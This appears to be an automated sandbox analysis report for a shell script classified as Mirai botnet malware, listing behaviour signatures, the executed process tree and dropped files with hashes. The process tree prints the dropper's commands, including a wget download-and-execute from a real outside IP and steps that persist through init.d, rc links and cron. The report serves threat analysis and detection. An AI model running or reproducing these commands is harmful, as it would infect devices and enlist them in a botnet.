Overview

overview

10

Static

static

1

l.sh

ubuntu-18.04-amd64

10

l.sh

debian-9-armhf

10

l.sh

debian-9-mips

10

l.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30/10/2026, 22:33

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    l.sh
  • Size 4KB
  • Sample261030-2glqfagy6m
  • SHA256 70acdfcafb548a2c85c3350398b0f6d629d9134b16f0b2df2e627a36f521f643
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
botnetmiraidefense_evasiondiscoveryexecutionmiraipersistenceprivilege_escalation

Malware Config

Extracted

Family

  • mirai

Botnet

  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/l.sh
    /tmp/l.sh
    1⤵
    • Executes dropped EXE
    • Creates/modifies Cron job
    • Modifies rc script
    PID:705
    • /bin/uname
      uname -m
      2⤵
        PID:707
      • /bin/rm
        rm -f .b
        2⤵
          PID:709
        • /usr/bin/wget
          wget -qO .b http://77.239.124.141/b/mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:714
        • /bin/chmod
          chmod 777 .b
          2⤵
          • File and Directory Permissions Modification
          PID:727
        • /tmp/.b
          ./.b
          2⤵
          • Deletes itself
          • Modifies Watchdog functionality
          • Changes its process name
          • Reads runtime system information
          • Writes file to shm directory
          PID:729
        • /bin/cat
          cat
          2⤵
            PID:730
          • /bin/chmod
            chmod 777 /var/.m
            2⤵
            • File and Directory Permissions Modification
            PID:736
          • /bin/chmod
            chmod 777 /var
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /bin/chmod
            chmod 777 /etc/rc.local
            2⤵
            • File and Directory Permissions Modification
            PID:738
          • /bin/cp
            cp /var/.m /etc/init.d/bot
            2⤵
            • Modifies init.d
            PID:739
          • /bin/chmod
            chmod 777 /etc/init.d/bot
            2⤵
            • File and Directory Permissions Modification
            PID:741
          • /bin/ln
            ln -sf /etc/init.d/bot /etc/rc3.d/S99bot
            2⤵
              PID:742
            • /bin/ln
              ln -sf /etc/init.d/bot /etc/rc5.d/S99bot
              2⤵
                PID:744
              • /bin/grep
                grep -q /var/.m /var/spool/cron/root
                2⤵
                  PID:745

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    .comm
                    • Path /dev/shm/.comm
                    • Size 4B
                    • SHA256 409f9891ad678ea20e4b20e862d56f23c9b29ed02f40cbdd3a9257821638a85d
                    • MD5 SHA1 SHA512
                    Submit Download

                    rc.local
                    • Path /etc/rc.local
                    • Size 10B
                    • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                    • MD5 SHA1 SHA512
                    Submit Download

                    rc.local
                    • Path /etc/rc.local
                    • Size 36B
                    • SHA256 6a948b659c747bc2cb77b6808bf9fa5aeefb5fde19a2e58d26823bcde924f69e
                    • MD5 SHA1 SHA512
                    Submit Download

                    .b
                    • Path /tmp/.b
                    • Size 118KB
                    • SHA256 58b043e3f0faab361e56a45860fcfa9d0fb770098e856e83dc58df33408c646e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    .bpid
                    • Path /var/.bpid
                    • Size 4B
                    • SHA256 f167f2fcbf3c641b8857e859ba871b5feb29f5a1f6ce3255861057b0d65549e8
                    • MD5 SHA1 SHA512
                    Submit Download

                    .m
                    • Path /var/.m
                    • Size 334B
                    • SHA256 d9688470ee4aef3d14f0962df3ef76df2b3243441fea6e2802227ed46f4e2bb8
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    root
                    • Path /var/spool/cron/root
                    • Size 37B
                    • SHA256 1b3fe417903fe231cb53c927797d6a192a54d98b541b819cb06df8f702dc5c27
                    • MD5 SHA1 SHA512
                    Submit Download